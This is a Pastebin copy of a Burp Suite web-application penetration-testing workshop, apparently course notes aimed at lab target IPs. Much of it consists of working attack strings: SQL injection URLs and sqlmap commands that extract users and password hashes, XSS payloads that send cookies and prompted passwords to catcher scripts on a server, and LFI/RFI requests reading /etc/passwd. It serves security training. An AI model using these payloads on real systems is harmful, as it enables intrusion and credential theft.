Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #######################
- # Burp Suite Workshop #
- #######################
- ##################################
- # Basic: Web Application Testing #
- ##################################
- Most people are going to tell you reference the OWASP Testing guide.
- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
- I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
- The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
- 1. Does the website talk to a DB?
- - Look for parameter passing (ex: site.com/page.php?id=4)
- - If yes - try SQL Injection
- 2. Can I or someone else see what I type?
- - If yes - try XSS
- 3. Does the page reference a file?
- - If yes - try LFI/RFI
- Let's start with some manual testing against 45.77.162.239
- Start here:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/
- -----------------------------------------------------------------------
- There's no parameter passing on the home page so the answer to question 1 is NO.
- There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
- Try an XSS in the search box on the home page:
- ---------------------------Paste this into Firefox-----------------------------------
- <script>alert(123);</script>
- -------------------------------------------------------------------------------------
- Doing this gives us the following in the address bar:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/BasicSearch.aspx?Word=<script>alert(123);</script>
- -------------------------------------------------------------------------------------
- Ok, so that XSS attempt didn't work - we'll cover more of this later.
- Let's move on to the search box in the left of the page.
- Let's give the newsletter signup box a shot
- Moving on to the login page.
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/login.aspx
- -------------------------------------------------------------------------------------
- I entered a single quote (') for both the user name and the password. I got the following error:
- Let's try throwing a single quote (') in there:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2'
- -------------------------------------------------------------------------------------
- I get the following error:
- Unclosed quotation mark after the character string ''.
- Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
- Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
- #########################################################################################
- # SQL Injection #
- # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
- #########################################################################################
- - Another quick way to test for SQLI is to remove the parameter value
- #############################
- # Error-Based SQL Injection #
- #############################
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- ---------------------------------------------------------------------------------------------------------
- #############################
- # Union-Based SQL Injection #
- #############################
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
- http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
- http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- ---------------------------------------------------------------------------------------------------------
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- ---------------------------------------------------------------------------------------------------------
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- ---------------------------------------------------------------------------------------------------------
- - Another way is to see if you can get the backend to perform an arithmetic function
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=(2)
- http://45.77.162.239/bookdetail.aspx?id=(4-2)
- http://45.77.162.239/bookdetail.aspx?id=(4-1)
- ---------------------------------------------------------------------------------------------------------
- - This is some true/false logic testing
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
- http://45.77.162.239/bookdetail.aspx?id=1*1
- http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
- http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
- http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
- http://45.77.162.239/bookdetail.aspx?id=2 &0#
- -------------------------------------------------------------------------------------
- -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
- http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
- ---------------------------------------------------------------------------------------
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- ---------------------------------------------------------------------------------------------------------
- Let's go for a quick check to see if it's DBO
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- -------------------------------------------------------------------------------------
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- D - 1st Character
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- ---------------------------------------------------------------------------------------------------------
- B - 2nd Character
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ---------------------------------------------------------------------------------------------------------
- O - 3rd Character
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ---------------------------------------------------------------------------------------------------------
- ##########
- # Sqlmap #
- ##########
- If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
- ---------------------------Type This-----------------------------------
- cd ~/toolz/sqlmap-dev/
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
- python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
- ------------------------------------------------------------------------
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/
- -------------------------------------------------------------------------------------
- Clicking on the Acer Link:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer
- -------------------------------------------------------------------------------------
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer'
- -------------------------------------------------------------------------------------
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '100' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '50' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '25' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
- -------------------------------------------------------------------------------------
- Page returns the following error:
- Unknown column '12' in 'order clause'
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
- -------------------------------------------------------------------------------------
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- -------------------------------------------------------------------------------------
- Now we negate the parameter value 'acer' by turning into the word 'null':
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- -------------------------------------------------------------------------------------
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- ---------------------------Paste these one line at a time into Firefox-----------------------------------
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- ------------------------------------------------------------------------------------- -------------------
- Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
- Here is a good reference for it:
- https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
- Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
- ###############################################################################
- # What is XSS #
- # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
- ###############################################################################
- OK - what is Cross Site Scripting (XSS)
- 1. Use Firefox to browse to the following location:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/
- -------------------------------------------------------------------------------------
- A really simple search page that is vulnerable should come up.
- 2. In the search box type:
- ---------------------------Paste this into Firefox-----------------------------------
- <script>alert('So this is XSS')</script>
- -------------------------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 3. In the search box type:
- ---------------------------Paste this into Firefox-----------------------------------
- <script>alert(document.cookie)</script>
- -------------------------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 4. Now replace that alert script with:
- ---------------------------Paste this into Firefox-----------------------------------
- <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
- -------------------------------------------------------------------------------------
- This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
- 5. Now view the stolen cookie at:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/cookie_stealer_logs.html
- -------------------------------------------------------------------------------------
- The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
- ############################
- # A Better Way To Demo XSS #
- ############################
- Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
- Use Firefox to browse to the following location:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/
- -------------------------------------------------------------------------------------
- Paste this in the search box
- ----------------------------
- Option 1
- --------
- ---------------------------Paste this into Firefox-----------------------------------
- <script>
- password=prompt('Your session is expired. Please enter your password to continue',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
- </script>
- -------------------------------------------------------------------------------------
- Now view the stolen cookie at:
- ---------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/xss_practice/passwords.html
- -------------------------------------------------------------------------------------
- Option 2
- --------
- -------------------------Paste this into Firefox-----------------------------------
- <script>
- username=prompt('Please enter your username',' ');
- password=prompt('Please enter your password',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
- </script>
- -------------------------------------------------------------------------------------
- Now view the stolen cookie at:
- http://45.63.104.73/xss_practice/username_password_logs.html
- #########################################
- # Let's try a local file include (LFI) #
- #########################################
- - Here is an example of an LFI
- - Open this page in Firefox:
- -------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/showfile.php?filename=contactus.txt
- -------------------------------------------------------------------------------------
- - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
- - Here you see a direct reference to a file on the local filesystem of the victim machine.
- - You can attack this by doing the following:
- -------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/showfile.php?filename=/etc/passwd
- -------------------------------------------------------------------------------------
- - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
- - somewhere else on the Internet. Here is an example of a text file on the web:
- -------------------------Paste this into Firefox-----------------------------------
- http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- -------------------------------------------------------------------------------------
- - Now we can attack the target via RFI like this:
- -------------------------Paste this into Firefox-----------------------------------
- http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- -------------------------------------------------------------------------------------
- ###############################
- # How much fuzzing is enough? #
- ###############################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- #########################
- # Setting up Burp Suite #
- #########################
- Download the latest free version of FoxyProxy at https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
- Download the latest free version of Burp at https://portswigger.net/burp/freedownload
- Be sure to download the appropriate version for your computer system/OS.
- Make sure that burpsuite_free_v1.7.27.jar is set as executable (chmod +x burpsuite_free_v1.7.27.jar) and then run:
- java -jar burpsuite_free_v1.7.27.jar
- - Click the "Proxy" tab
- - Click the "Options" sub tab
- - Click “Edit” in the “Proxy Listeners” section
- - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
- - In the same pop up make sure that the bind port is 8080
- - In the same pop up select the “Certificate” tab
- - Ensure that burp is configured to "generate CA-signed per-host certificates"
- Open Firefox
- - Click "Edit"
- - Click “Preferences"
- - Click the "Advanced" tab
- - Click the "Network" sub tab
- - Click the connection "settings" button
- - Click "manual proxy configuration"
- set it to 127.0.0.1 port 8080
- check "Use this proxy server for all protocols"
- - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
- Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
- Visit any SSL-protected URL.
- On the “This Connection is Untrusted” screen, click on “Add Exception”
- Click "Get Certificate", then click "View".
- In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
- Click "Export" and save the certificate as "BurpCert" on the Desktop.
- Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
- Go to Edit | Preferences
- Click “Advanced” and go to “Certificates” tab
- Click “View Certificates”
- Click "Import" and select the certificate file that you previously saved.
- On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
- Close all dialogs and restart Firefox
- ###############################################################
- # Question 1: What is the process that you use when you test? #
- ###############################################################
- Step 1: Automated Testing
- Step 1a: Web Application vulnerability scanners
- -----------------------------------------------
- - Run two (2) unauthenticated vulnerability scans against the target
- - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
- - Run two (2) authenticated vulnerability scans against the target with admin privileges
- The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
- A good web application vulnerability scanner comparison website is here:
- http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
- Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
- Also, be sure to save the scan results and logs. I usually provide this data to the customer.
- Step 1b: Directory Brute Forcer
- -------------------------------
- I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
- Step 2: Manual Testing
- Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
- Step 2a: Spider/Scan the entire site with Burp Suite
- Save the spider and scan results. I usually provide this data to the customer as well.
- Step 2b: Browse through the site using the 3 question method
- Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
- Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
- Here is what I mean:
- http://www.site.com/page.aspx?parametername=parametervalue
- When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
- http://www.site.com/page.aspx?parametername=[ payload ]
- You need to ensure that you send the payload this way, and like this below:
- http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
- This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
- ###########################################
- # Question 2: How much fuzzing is enough? #
- ###########################################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- -------------------------------------------------------------------------------------------
- ************************ Class Homework ************************
- Day 1 Homework:
- ---------------
- Here is a good reference of how to use Burp to look for OWASP Top 10 vulnerabilities:
- https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
- Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
- http://45.63.104.73/
- http://45.77.162.239/
- Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Homework.docx)
- ************************ Class Challenge ************************
- Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
- Here are some sample web app penetration test reports from other companies that you can look at:
- https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip
- I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
- ---------------------------------------------------------------------------------------------------------
- #############################
- # Tricky stuff to play with #
- #############################
- ###################
- # Nikto with Burp #
- # in Linux #
- ###################
- cd ~/toolz/
- rm -rf nikto*
- git clone https://github.com/sullo/nikto.git Nikto2
- cd Nikto2/program
- perl nikto -h http://zero.webappsecurity.com -useproxy http://localhost:8080/
- -----------------
- Masking the Nikto header reference:
- http://carnal0wnage.attackresearch.com/2009/09/btod-nikto-thru-burp-masking-nikto.html
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement